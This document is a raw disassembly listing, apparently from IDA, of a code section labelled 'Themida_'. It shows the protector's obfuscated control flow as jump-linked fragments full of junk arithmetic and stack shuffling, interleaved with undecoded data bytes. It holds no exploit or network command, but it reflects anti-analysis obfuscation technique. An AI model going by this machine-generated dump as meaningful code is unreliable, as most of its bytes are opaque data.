loc_556B26:				; CODE XREF: Themida_:0055F5B2j
		add	esp, 2
		xor	al, ch
		mov	ecx, [esp]
		add	esp, 4
		sub	esp, 2
		mov	[esp], cx
		sub	esp, 2
		mov	[esp], bx
		mov	bh, 95h
		push	eax
		mov	al, 0BFh
		xor	al, 0C3h
		jmp	loc_5566DF
; ---------------------------------------------------------------------------
aMht		db '¬hâ*',0
		dw 8900h
		dd 0B6B62414h, 0FE60B252h, 505366C2h, 0ECD0DDB4h, 2F68h
		dd 241C8900h, 0FFC911E9h, 24348BFFh, 4C481h, 0EE810000h
		dd 7CFF7011h, 480A68h, 24348900h, 24348B5Fh, 8E9h, 4EC8300h
		dd 0FFD090E9h, 0E38953FFh, 4C381h, 0C3830000h, 241C8704h
		dd 0FAB8505Ch, 2907EC20h, 0C18158C7h, 0C45979h,	1EE9F901h
		dd 8BFFFFF3h, 58E92414h, 54FFFFEBh, 4EC8158h, 89000000h
		dd 4B9240Ch, 0E9000000h, 0D686h
; ---------------------------------------------------------------------------

loc_556BE0:				; CODE XREF: Themida_:0055952Bj
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_563239
; ---------------------------------------------------------------------------
		db 53h
		dd 0D92BD2BBh, 0FFD90173h, 1C8B2434h, 4C48124h,	81000000h
		dd 4C4h, 0F1C1E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_556C0A:				; CODE XREF: Themida_:00563CC9j
		mov	esp, [esp]
		push	30A9h
		mov	[esp], esi
		sub	esp, 4
		jmp	loc_564A71
; ---------------------------------------------------------------------------
		db 89h,	2Ch, 24h
		dd 59773FBDh, 81D5F736h, 414E59CDh, 0FEE9E939h,	248BFFFFh
		dd 48B6624h, 0F5FEE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_556C3E:				; CODE XREF: Themida_:0055F9BAj
		pop	edx
		push	esi
		jmp	loc_557580
; ---------------------------------------------------------------------------
		db 0BDh, 0FFh, 11h
		dd 0C5813982h, 0E53B0654h, 8B5DEF01h, 0C481242Ch, 4, 8B243C87h
		dd 14E92424h
		db 7Eh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_556C67:				; CODE XREF: Themida_:005662F0j
		xchg	ebp, [esp]
		jmp	loc_553F2D
; ---------------------------------------------------------------------------
aISo		db '\‰$$éŽ]',0
		align 4
		dd 240C8B66h, 2C481h, 0B4500000h, 6DC4807Eh, 0C480C4FEh
		dd 8DE480DEh, 3091F480h, 1F8AE9E6h, 0E9570000h,	1B75h
		dd 10D968h, 240C8900h, 0FFCECCE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_556CAD:				; CODE XREF: Themida_:00564BECj
		add	esi, 0E3515CFh
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_563356
; ---------------------------------------------------------------------------
		dw 2C89h
		dd 909BD24h, 4D4D128Dh,	67E9B951h, 0A4E978ADh, 810000E8h
		dd 4C3h, 4B85000h, 29000000h, 1C3358C3h, 241C3124h, 5C241C33h
		dd 24048F54h, 4240483h,	4C6815Eh, 0E9000000h, 0F5ACh, 0BE56525Dh
		dd 530B1780h, 22F0F681h, 4E46575Ah, 5622E681h, 0EE81384Ah
		dd 0B8A6F79Fh, 4672E9h,	4C68100h, 83000000h, 348704C6h
		dd 4C08E924h, 6D680000h, 8900007Eh, 74FF2434h, 34FF0424h
		dd 0CD6BE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_556D46:				; CODE XREF: Themida_:00557260j
		pop	ebx
		jmp	loc_561CCA
; ---------------------------------------------------------------------------
		dd 240C8B66h, 602468h, 24148900h, 24148B54h, 4C481h, 0C2810000h
		dd 4, 616268h, 93CBE900h, 0BB530000h, 41E4683Ch, 0FFDB93E9h
		dd 24048FFFh, 4240483h,	0D75EE9h, 74315D00h, 0FF5E0424h
		dd 69E92434h, 1000020h,	0B6EE81FEh, 5101D52Dh, 70BE2B9h
		dd 0E9D9F721h, 0EB59h, 2404FF53h, 83241C8Bh, 0C7E904C4h
		db 9Bh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_556DBB:				; CODE XREF: Themida_:0055A88Fj
		add	edx, edi
		pop	edi
		jmp	loc_561B92
; ---------------------------------------------------------------------------
		db 0B8h
		dd 7BB3339Ch, 8244401h,	24448158h, 5067D104h, 2444014Bh
		dd 0D1B85004h, 294B5067h, 58082444h, 339CBF57h,	7C297BB3h
		dd 0FF5F0824h, 48B2434h, 5F545724h, 179DB850h, 0D0F743DFh
		dd 8F6E948h, 680000h, 29000000h, 0E95A2414h, 0FFFFE6B2h
		dd 4C481h, 0D8290000h, 10D868h,	241C8900h, 4A5781BBh, 4E3C102h
		dd 0E903EBC1h, 0FFC9h
; ---------------------------------------------------------------------------

loc_556E34:				; CODE XREF: Themida_:00560855j
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		add	edi, 4
		push	edi
		jmp	loc_558186
; ---------------------------------------------------------------------------

loc_556E53:				; CODE XREF: Themida_:00567A65j
		or	edx, 187818E5h
		or	edx, 345D3770h
		push	edi
		jmp	loc_566818
; ---------------------------------------------------------------------------
		db 55h,	0BDh, 4
		dd 1000000h, 0FF575DEFh, 8B042474h, 0C483243Ch,	24048F04h
		dd 0DA86E95Ch, 3B2FFFFh, 6604EAC0h, 5BE95153h
		db 8Ch,	2 dup(0)
; ---------------------------------------------------------------------------

loc_556E8F:				; CODE XREF: Themida_:005674EAj
		pop	edx
		or	ch, 0Dh
		and	ch, 26h
		push	ebx
		jmp	loc_553CDE
; ---------------------------------------------------------------------------
		dd 3D6168h, 24148900h, 8B2414F7h
		db 14h,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_55958F
; ---------------------------------------------------------------------------

loc_556EB8:				; CODE XREF: Themida_:005568B6j
		sub	edx, 1600100h
		sub	edi, 39A7774Eh
		jmp	loc_56008A
; ---------------------------------------------------------------------------

loc_556EC9:				; CODE XREF: Themida_:00563F89j
		push	ebp
		push	856h
		mov	[esp], ecx
		mov	ecx, 47C660F4h
		xor	[esp+4], ecx
		mov	ecx, [esp]
		jmp	loc_56788A
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0F7662424h, 0A76866F9h, 14896655h, 9C506624h, 0FFF65CE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_556EF9:				; CODE XREF: Themida_:0055FC58j
		pop	eax
		push	edx
		pop	eax
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		mov	ebp, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	eax
		mov	eax, 4
		jmp	loc_55AEAF
; ---------------------------------------------------------------------------
		db 5Eh,	50h, 53h
		dd 7057B951h, 45BB4942h, 31583E15h, 0C38159CBh,	2F373228h
		dd 9736EB81h, 0EC8340B3h, 24148904h, 81525A53h,	169C2434h
		dd 35587E1Ch, 7E1C169Ch, 241C8B5Ah, 5E08950h, 4, 405h
		dd 24048700h, 0CE5BE9h,	73BA5200h, 81326E3Ch, 0ED3158F2h
		dd 0E9D02945h, 0F045h, 5C92E952h, 0E1810000h, 701E204Dh
		dd 0A4AEBE56h, 49E9167Fh, 0FF0000B1h, 68592434h, 7556h
		dd 4BB2E9h, 242C8900h, 0A9FBE950h, 0C0830000h, 24048704h
		dd 0FFC562E9h, 4C681FFh, 50000000h, 990EF6B8h, 6722D47h
		dd 0E8C11F5Eh, 34BF5708h, 8157213Dh, 2D1F8AF7h,	5FF80913h
		dd 2D182235h, 3E8C149h,	5FDB9105h, 0E9C601FEh, 0F231h
; ---------------------------------------------------------------------------

loc_556FEC:				; CODE XREF: Themida_:0055AEDBj
		pop	edx
		push	ebx
		push	edi
		jmp	loc_555BB0
; ---------------------------------------------------------------------------

loc_556FF4:				; CODE XREF: Themida_:005558DCj
		or	ecx, edx
		pop	edx
		dec	ecx
		jmp	loc_55DC7C
; ---------------------------------------------------------------------------

loc_556FFD:				; CODE XREF: Themida_:0055D7B1j
		pop	ebx
		shl	eax, 1
		and	eax, 744A0A86h
		jmp	loc_555BE0
; ---------------------------------------------------------------------------
		dw 0E289h
		dd 4C281h, 0EA830000h, 24148704h, 2404895Ch, 0E904EC83h
		dd 10A9Ch, 68243C89h, 3B78h, 83242489h,	0E9042404h, 930Eh
		dd 59C8895Dh, 0FC8C381h, 0C3017F20h, 0D261E952h, 1768FFFFh
		dd 0E9000069h, 0FFFFF3ACh, 8904EC83h, 0E952241Ch, 10855h
		dd 8037E580h, 70E973C5h, 29000034h, 3A1E9C6h, 3C8B0000h
		dd 6F9D6824h, 0C890000h, 81E18924h, 4C1h, 4C18100h, 87000000h
		dd 875C240Ch, 0C1E92404h, 5200001Bh, 0D1968h, 243C8900h
		dd 0E140D1BFh, 0BB535742h, 42E140D5h, 19F1E9h, 0E9CF8900h
		dd 109F7h, 7DE1E959h, 8B50000h,	9AEA80h, 9AC280EAh, 0EA805966h
		dd 9843E9F6h, 0D3F70000h, 0FB4EC381h, 0D989980Ch, 5AD1015Bh
		dd 8159CB31h, 1F7F86E3h, 0E6FDE90Bh, 8B66FFFFh,	41E9240Ch
		dd 66FFFFDBh, 22474FFh,	50E95B66h
		db 0ADh, 2 dup(0)
; ---------------------------------------------------------------------------

loc_557103:				; CODE XREF: Themida_:0055315Cj
		mov	dword ptr [edi+20h], 58625C8Dh
		sub	[edi+20h], ebp
		pop	ebp

loc_55710E:				; CODE XREF: Themida_:loc_552BA2j
					; Themida_:005667E7j
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		sub	esp, 4
		jmp	loc_555C14
; ---------------------------------------------------------------------------
		db 0FFh
		dd 0C8B2434h, 4C48124h,	83000000h, 2C8904ECh, 83E58924h
		dd 3C8904ECh, 46824h, 15F0000h,	243C8BFDh, 0D6E9E9h, 83D90100h
		dd 1C8904ECh, 39FBB24h,	0E9817346h, 319C57B4h, 0B850D929h
		dd 19730116h, 0C435E940h, 0C580FFFFh, 0E3895316h, 0C526E9h
		dd 240C3300h, 10D9E9h, 0E9545C00h, 0C5DEh, 45C2E95Ah, 51660000h
		dd 0B668E99Ch, 0D1F7FFFFh, 0A9B7E9h, 24448100h,	87256904h
		dd 24442927h, 246C8104h, 87256904h, 47E95827h, 43FFFFB6h
		dd 412AEB81h, 0D8014E7Fh, 0FFDAA4E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5571C5:				; CODE XREF: Themida_:0055D416j
		mov	esi, 4
		jmp	loc_56349F
; ---------------------------------------------------------------------------
		db 0B9h
		dd 3A66AEDh, 5559CA29h,	0E4428ABDh, 0E9EA3192h,	9C88h
		dd 0B8E9CB01h
		db 9Bh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_5571EB:				; CODE XREF: Themida_:00553CEEj
		mov	[esp], edi
		mov	edi, esp
		add	edi, 4
		push	ecx
		mov	ecx, 4
		add	edi, ecx
		pop	ecx
		jmp	loc_55BA9F
; ---------------------------------------------------------------------------
		dd 40D86855h, 2C8B01EAh, 4C48324h, 3E5C145h, 1C0ABE56h
		dd 814E729Ah, 6467EDEEh, 0BB6CE962h, 1C8B0000h,	4C48324h
		dd 1BA3E9h, 4EC8300h, 54243C89h, 0E6B9515Fh, 501DCA79h
		dd 8B255F68h, 0C34BE93Dh, 0CF010000h, 207FE9h
		db 0
; ---------------------------------------------------------------------------

loc_557251:				; CODE XREF: Themida_:0055AA42j
		push	1F96h
		mov	[esp], ebx
		mov	ebx, 58180516h
		sub	edx, ebx
		jmp	loc_556D46
; ---------------------------------------------------------------------------
		db 0BDh, 4, 0
		dd 48E90000h
		db 39h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_55726F:				; CODE XREF: Themida_:005673E1j
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_56715C
; ---------------------------------------------------------------------------

loc_557287:				; CODE XREF: Themida_:00558AF1j
		not	edi
		xchg	edi, ebx
		not	ebx
		sub	ebx, 3F7F7DFCh
		push	ebx
		mov	ebx, 2E486DF8h
		shr	ebx, 7
		shl	ebx, 6
		dec	ebx
		xor	ebx, 6D4C764Fh
		add	ebp, ebx
		pop	ebx
		add	ebp, ebx
		push	7FFAh
		mov	[esp], edi
		jmp	loc_5529E8
; ---------------------------------------------------------------------------
a34S8		db '34$é',0Dh,'8',0
		align 10h
		dd 3B07C381h, 0D3015BF6h, 3B07EB81h, 815A5BF6h,	4C3h, 241C3300h
		dd 0E9241C31h, 9410h
; ---------------------------------------------------------------------------

loc_5572E0:				; CODE XREF: Themida_:005529C1j
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		and	ecx, edx
		mov	edx, [esp]
		push	411Ah
		mov	[esp], ecx
		jmp	loc_56158F
; ---------------------------------------------------------------------------
		dd 815FFB01h, 4C3h, 0C54CE900h,	48FFFFFh, 24248B24h, 815A5452h
		dd 4C2h, 4EC8100h, 89000000h, 1BBE2434h, 0C1388F6Ah, 0B85008E6h
		dd 7095E504h, 0B02CE9h,	34FF5A00h, 0C4815A24h, 4, 4EC81h
		dd 3C890000h, 1EB8BF24h, 93E922E5h, 6600004Ch, 5724048Bh
		dd 0E951E789h, 0C09Ah, 0E924148Bh, 0C93Eh, 0E95052ACh
		dd 0E5F8h, 5519CFB8h, 1B862D31h, 0D0510EAh, 35692325h
		dd 0AC2A7513h, 89C78957h, 243C8BFAh, 4C481h, 0E9580000h
		dd 0F439h
; ---------------------------------------------------------------------------

loc_557398:				; CODE XREF: Themida_:0055D6ACj
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		add	esp, 4
		jmp	loc_559990
; ---------------------------------------------------------------------------

loc_5573A9:				; CODE XREF: Themida_:0055C366j
		pop	esi
		push	515Eh
		mov	[esp], esi
		push	esp
		jmp	loc_55551A
; ---------------------------------------------------------------------------
		dd 42474FFh, 0EADEE9h, 4EC8100h, 89000000h, 17E9240Ch
		db 83h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_5573CF:				; CODE XREF: Themida_:00564119j
		mov	ebx, 62BA311Bh
		add	ebx, 71316498h
		neg	ebx
		shl	ebx, 8
		xor	ebx, 376B1612h
		sub	edi, 7E1074F5h
		sub	edi, ebx
		add	edi, 7E1074F5h
		pop	ebx
		pop	ecx
		shr	edi, 7
		jmp	loc_56073C
; ---------------------------------------------------------------------------
		db 'µ!¶Ö',0
		dw 8BEEh
		dd 0C483240Ch, 0A9B15104h, 0E7E9C9FEh, 8B000098h, 0ECE92404h
		db 0BFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55741B:				; CODE XREF: Themida_:0055FC92j
		mov	edi, esi
		pop	esi
		pop	eax
		jmp	loc_5547C7
; ---------------------------------------------------------------------------
		dd 9C240408h, 8B01E9h, 4C48300h, 0FFE2DCE9h, 7E7C1FFh
		dd 1721E9h, 48D0F700h, 0EDE9E0D1h, 68000066h, 127Eh, 24048F54h
		dd 4240483h, 83241C8Bh,	0CE904C4h, 0D100001Dh, 1C283E2h
		dd 0E903EAC1h, 0BF1Fh, 4C281h, 14870000h, 392E924h, 22BF0001h
		dd 293AF645h, 0E95FFEh,	40000CAh, 18C4681Ch, 0C890000h
		dd 0C2E95224h, 29000007h, 5AD687F2h, 7277E9h, 2434FF00h
		dd 0A4A1E9h, 4A3A6800h,	0C890000h, 81E18924h, 4C1h, 79BA6800h
		dd 34890000h, 0A5FEE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5574C6:				; CODE XREF: Themida_:00555DF5j
		push	ebp
		push	eax
		jmp	loc_555E98
; ---------------------------------------------------------------------------
		db 8Bh,	34h, 24h
		dd 3203E9h, 33E95200h, 5E0000F4h, 31241433h, 14332414h
		dd 24248B24h, 592434FFh, 5E08950h, 4, 0C18BE9h,	0ED815D00h
		dd 0F8A360Ch, 0A5E9DDF7h, 8B00009Bh, 5457240Ch,	0DAC0E95Fh
		dd 48F0000h, 8883E924h,	0A0B60000h, 0F1C180h, 0F1E980F1h
		dd 0C1805A66h, 0E9CB00DDh, 0EFCBh
; ---------------------------------------------------------------------------

loc_557530:				; CODE XREF: Themida_:005621D8j
		add	edx, esi
		pop	esi
		neg	edx
		inc	edx
		shl	edx, 3
		jmp	loc_55DDE1
; ---------------------------------------------------------------------------
		dw 0B951h
		dd 2EB9461Ch, 6859C831h, 40C8h,	0E9240489h, 7912h, 52243489h
		dd 0D52653BAh, 34685728h, 0E95FFA14h, 55A9h, 5AF3E955h
		dd 34890000h, 2474FF24h, 2434FF04h, 0E924348Bh,	8646h
; ---------------------------------------------------------------------------

loc_557580:				; CODE XREF: Themida_:00556C40j
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		mov	esp, [esp]
		sar	byte ptr [esp],	cl
		pushf
		jmp	loc_5527FE
; ---------------------------------------------------------------------------
		dd 9DE9D029h
		db 2 dup(1), 0
; ---------------------------------------------------------------------------

loc_55759B:				; CODE XREF: Themida_:00565366j
		pop	edi
		xchg	edx, esi
		not	edx
		jmp	loc_55DBF9
; ---------------------------------------------------------------------------
		db 87h,	1Ch, 24h
		db '\h',9,'|',0
		align 2
aSf		db 'éäÄ',0
		dw 8F00h
		dd 895C2404h, 3FBA2414h, 0D12C3E26h, 8EAC1E2h, 410CEA81h
		dd 0EA8107ABh, 0A49DF55Ah, 15AD001h, 45E62DF8h,	0BD55540Fh
		dd 1B3F1423h, 0E95DE829h, 0FFFFFA8Ah, 240C8B66h, 0F9AAE9h
		db 0
; ---------------------------------------------------------------------------

loc_5575F1:				; CODE XREF: Themida_:00556733j
		xor	ebp, 12DF0A0Bh
		jmp	loc_553426
; ---------------------------------------------------------------------------
		dd 4BFh, 5FF88900h, 3685EF81h, 0C7014EC6h, 3685C781h, 1EE94EC6h
		db 6, 1, 0
; ---------------------------------------------------------------------------

loc_557617:				; CODE XREF: Themida_:0055B59Ej
		add	esp, 4
		xchg	ebp, [esp]
		jmp	loc_5598BC
; ---------------------------------------------------------------------------
		db 2Ch,	36h, 4
		dd 28212C78h, 2C2104F8h, 66360478h, 182C5Bh, 41804C8h
		dd 2C5966DDh, 0D616E9ECh, 0ED81FFFFh, 7DB20CCAh, 0EF12E9h
		dd 514A5F00h, 3313BF57h, 0EFC12D4Fh, 42EF8107h,	813FDE32h
		dd 4F0398C7h, 5FF98986h, 40F4E9h, 0ED815900h, 4, 8B242C87h
		dd 24892424h, 24048324h, 230EE904h, 0EB810000h,	35B22F20h
		dd 5A92E9h
		db 0
; ---------------------------------------------------------------------------

loc_557695:				; CODE XREF: Themida_:00564F14j
		mov	ebx, 68C3190Fh
		push	edx
		push	esi
		mov	esi, 246C4C34h
		mov	edx, offset byte_567731
		inc	edx
		jmp	loc_55F539
; ---------------------------------------------------------------------------
		dd 5995B850h, 0D90D1863h, 0D1198A76h, 0EB58E9E8h, 0BD55FFFFh
		dd 32E736C4h, 436EE9h
		db 0
; ---------------------------------------------------------------------------

loc_5576C9:				; CODE XREF: Themida_:005657DCj
		xor	edi, esi
		pop	esi
		xor	edx, edi
		pop	edi
		mov	ecx, edx
		pop	edx
		and	eax, ecx
		pop	ecx
		push	dword ptr [edi+1Ch]
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_561010
; ---------------------------------------------------------------------------
		dd 8052CA80h, 0D028B1F2h, 8124148Bh, 4C4h, 0E9F00000h
		dd 0B8E5h, 6C5BE948h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_557702:				; CODE XREF: Themida_:0055C6F2j
		inc	ebp
		or	ebp, 400D004Eh
		and	ebp, 69095198h
		sub	ebp, 41094004h
		sub	edi, 6F5736F2h
		jmp	loc_563927
; ---------------------------------------------------------------------------
		dd 0E9240487h, 2FFEh, 24348757h, 3487D6F7h, 0D7F75F24h
		dd 0F1DFC781h, 0FA31E44Dh, 9D03E9h, 0E9E68900h,	0FFFFBD02h
; ---------------------------------------------------------------------------

loc_557748:				; CODE XREF: Themida_:0056053Bj
		mov	[esp], ebx
		mov	ebx, 7256331Dh
		add	[esp+4], ebx
		pop	ebx
		sub	dword ptr [esp], 8A965A8h
		jmp	loc_56088C
; ---------------------------------------------------------------------------

loc_557761:				; CODE XREF: Themida_:0055A648j
		jmp	loc_5527FE
; ---------------------------------------------------------------------------

loc_557766:				; CODE XREF: Themida_:0056312Ej
		mov	ebx, edx
		pop	edx
		add	eax, ebx
		pop	ebx
		and	eax, 4EC93C0Fh
		shr	eax, 4
		shr	eax, 8
		jmp	loc_555584
; ---------------------------------------------------------------------------
		dd 8904EC83h, 1DE9242Ch, 0BA000101h, 5DC67A00h,	0D577E953h
		dd 0CEBDFFFFh, 2974AE37h, 15B5DEEh, 24348BF0h, 0E9E18951h
		dd 0FFFFD8F1h, 53243489h, 478EE9h, 6F8F6800h, 3C890000h
		dd 4E646824h, 24890000h, 0EB7CE924h, 5C01FFFFh,	6C810424h
		dd 7D1A0424h, 34FF6FD0h, 21E95B24h
		db 35h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_5577DB:				; CODE XREF: Themida_:005669ABj
		shl	ebp, 3
		sub	ebp, 0FF5E1ACh
		jmp	loc_559108
; ---------------------------------------------------------------------------
		db 57h,	0E9h, 0E3h
		dd 0FF00001Fh, 0E9E92434h
		db 0BAh, 2 dup(0)
; ---------------------------------------------------------------------------

loc_5577F7:				; CODE XREF: Themida_:0055E484j
		mov	eax, 21576D15h
		mov	ecx, 21576D15h
		xor	ecx, eax
		pop	eax
		add	ecx, ebx
		xor	eax, [ecx]
		pop	ecx
		pop	ebx
		push	edx
		mov	edx, 24h
		add	edx, 349F33C8h
		add	edx, edi
		jmp	loc_5550B6
; ---------------------------------------------------------------------------
		db 81h,	0C7h, 4
		dd 68000000h, 5D36h, 0B9240C89h, 62C0747Ch, 4190BD55h
		dd 0E9216B20h, 83242C8Bh, 0CAE904C4h
		db 39h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_557843:				; CODE XREF: Themida_:005545D6j
		mov	ebx, 6F0C92C4h
		sub	eax, ebx
		pop	ebx
		push	esi
		jmp	loc_55FC90
; ---------------------------------------------------------------------------
		db 89h,	14h, 24h
		dd 0ED10DFBAh, 0A2F2815Ah, 316DDD7Bh, 837AE9D1h, 0EC810000h
		dd 4, 0B9240C89h, 4, 5659CE01h,	0FFFB3BE9h, 420D68FFh
		dd 0D583238h, 11C3F34h,	66E668h, 24148900h, 57A268h, 241C8900h
		dd 0A01C68BBh, 5DBCE90Eh, 5A5E0000h, 8904EC83h,	3FBD242Ch
		dd 812FBF48h, 1C5h, 0F2BB5300h,	0E973D036h, 0C755h, 66C8285Ch
		dd 57240C8Bh, 0BE56E789h, 3E97732Dh, 8904EC83h,	44BB241Ch
		dd 0E95D6421h, 6885h, 7C41BF57h, 0E7C126A3h, 2B2BE903h
		dd 0E0890000h, 405h, 4C08300h, 0FFFE23E9h, 4F5A68FFh, 56E90000h
		dd 4300003Ch, 0FE47BA52h, 0D301C0F3h, 0E679E9h
		db 0
; ---------------------------------------------------------------------------

loc_557915:				; CODE XREF: Themida_:00560BF0j
		mov	edx, esp
		add	edx, 4
		push	3D8Ah
		mov	[esp], esi
		mov	esi, 4
		sub	edx, esi
		pop	esi
		xchg	edx, [esp]
		pop	esp
		mov	[esp], edx
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		mov	[esp], eax
		push	ebx
		jmp	loc_56139D
; ---------------------------------------------------------------------------

loc_557952:				; CODE XREF: Themida_:005540DFj
		add	esp, 2
		jmp	loc_566C40
; ---------------------------------------------------------------------------
		dw 6CB9h
		dd 816C3642h, 0DD4440E9h, 0BD555627h, 3EAC093Eh, 0DC4C581h
		dd 50510ADBh, 0C189E889h, 8324048Bh, 6E904C4h, 810000D1h
		dd 4EBh, 241C8700h, 0C875E9h
		db 0
; ---------------------------------------------------------------------------

loc_557991:				; CODE XREF: Themida_:0056381Ej
		pop	edx
		add	edi, 78FCC357h
		xor	esi, edi
		jmp	loc_55F8C0
; ---------------------------------------------------------------------------

loc_55799F:				; CODE XREF: Themida_:0055D256j
		add	edi, ecx
		jmp	loc_55A3E4
; ---------------------------------------------------------------------------
aIusl		db '䋎Dž',0
		dd 24048F00h, 8924248Bh, 0FD682414h, 8900005Ah,	0B9512404h
		dd 45082570h, 4244481h,	73E94A9Fh, 4244C29h, 38DFE9h
		db 0
; ---------------------------------------------------------------------------

loc_5579D5:				; CODE XREF: Themida_:0055B106j
		push	4
		jmp	loc_55333A
; ---------------------------------------------------------------------------
		db 0FFh
		dd 835F2434h, 0C8704C4h, 24248B24h, 0FFC954E9h,	24248BFFh
		dd 0BB241C89h, 44FB2FE9h, 15C2E381h, 0EBC16206h, 0E9525104h
		dd 0EC3h
; ---------------------------------------------------------------------------

loc_557A0C:				; CODE XREF: Themida_:0056586Dj
		neg	ebp
		sub	ebp, 36F46AB3h
		xor	ebp, 33DF0117h
		add	edx, ebp
		pop	ebp
		sub	edx, 6BE1093Dh
		add	edx, 591E129h
		add	eax, edx
		pop	edx
		sub	eax, 4
		push	eax
		jmp	loc_5620A4
; ---------------------------------------------------------------------------
		db 0FFh
		dd 34FF3877h, 0EA40E924h, 34FFFFFFh, 40685824h,	0E9000078h
		dd 0BD56h, 24048B66h, 620F68h, 240C8900h, 754F68h, 48F5400h
		dd 4BB5324h, 81000000h,	0E7042444h, 0E942D757h,	0C7B7h
		dd 444AB951h, 0E1C10C0Ah, 2FE98102h, 815EA26Eh,	0A44CC6E9h
		dd 4E1C163h, 0E9575557h, 3BC1h,	5B88EC80h, 8B66E328h, 0C4832404h
		dd 70D26802h, 4890000h,	0A1F1E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_557AB2:				; CODE XREF: Themida_:0055B839j
		mov	edi, esp
		add	edi, 4
		jmp	loc_56451B
; ---------------------------------------------------------------------------
		db 80h
		dd 0EE80BDF6h, 8BF3209Dh, 0C4812414h, 4, 8010B151h, 0E980CBE9h
		dd 7BE18098h, 0FFB68AE9h, 0D5315BFFh, 8BE8015Ah, 0C481242Ch
		dd 4, 0D218E9h
		db 0
; ---------------------------------------------------------------------------

loc_557AF5:				; CODE XREF: Themida_:00563468j
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, esp
		jmp	loc_5651A4
; ---------------------------------------------------------------------------
aS_9		db '[é&¿',0
		align 4

loc_557B08:				; CODE XREF: Themida_:00555811j
		sub	ebp, 30DE0F28h
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		add	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		or	ebx, ebx
		jnz	loc_5667E3
		push	16Fh
		mov	[esp], edx
		push	1793h
		mov	[esp], edi
		mov	edi, 51052637h
		xor	[esp+4], edi
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		pop	dword ptr [edi+20h]
		push	eax
		push	20h
		pop	eax
		jmp	loc_55456C
; ---------------------------------------------------------------------------
aRAsc		db 'RºÞ-ìAéç-',0
		align 2
		dw 0F129h
		dd 0FFC40DE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_557B6D:				; CODE XREF: Themida_:00554D91j
		mov	edx, [esp]
		push	51FBh
		mov	[esp], ebp
		mov	ebp, esp
		push	esi
		mov	esi, 4
		jmp	loc_5554F3
; ---------------------------------------------------------------------------

loc_557B85:				; CODE XREF: Themida_:0056775Dj
		mov	eax, [esp]
		jmp	loc_559461
; ---------------------------------------------------------------------------
		align 2
		dw 0E9F0h
		dd 9541h
; ---------------------------------------------------------------------------

loc_557B94:				; CODE XREF: Themida_:0055337Bj
		mov	edx, 0BB266E9h
		or	edx, 6A965C4Eh
		not	edx
		inc	edx
		add	edx, 3F504F82h
		sub	edx, 917B6C66h
		add	ecx, edx
		jmp	loc_555546
; ---------------------------------------------------------------------------

loc_557BB5:				; CODE XREF: Themida_:00554A6Cj
		mov	[esp], esp
		jmp	loc_564B13
; ---------------------------------------------------------------------------
		align 2
		dw 66E3h
		dd 80DBF658h, 0D8002BF3h, 0E9F8005Bh, 52C5h, 1879E681h
		dd 0E6C15385h, 0A8F68106h, 147280Eh, 7AE95EF1h
		db 20h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_557BE7:				; CODE XREF: Themida_:00560C02j
		mov	[esp], ebx
		jmp	loc_562DB1
; ---------------------------------------------------------------------------
		db 0FFh
		dd 815D240Ch, 9AA952F5h, 5DE929F3h, 9601E9h
		db 0
; ---------------------------------------------------------------------------

loc_557C01:				; CODE XREF: Themida_:00559001j
		push	18F1h
		mov	[esp], ecx
		jmp	loc_55896D
; ---------------------------------------------------------------------------
		dw 0E189h
		dd 56F0BB53h, 3EE94F61h
		db 0A0h, 2 dup(0)
; ---------------------------------------------------------------------------

loc_557C1B:				; CODE XREF: Themida_:00559E88j
		push	ebx
		mov	ebx, 2C927662h
		mov	ecx, 751565D4h
		shl	ecx, 4
		inc	ecx
		not	ecx
		neg	ecx
		xor	ecx, 7EFBF865h
		sub	ecx, ebx
		pop	ebx
		shl	ecx, 1
		push	ecx
		xchg	ecx, [esp]
		xchg	ebx, ecx
		not	ebx
		jmp	loc_5629A8
; ---------------------------------------------------------------------------

loc_557C46:				; CODE XREF: Themida_:00556125j
		sub	cl, 0FFh
		push	dx
		jmp	loc_555AC6
; ---------------------------------------------------------------------------
		dd 0ED04662Ch, 9709E9h,	0B1D4B600h, 5AF13067h, 0BC68D9F6h
		dd 8900004Dh, 0ADE9241Ch, 5600003Ch, 9F3228BEh,	0E9F5890Fh
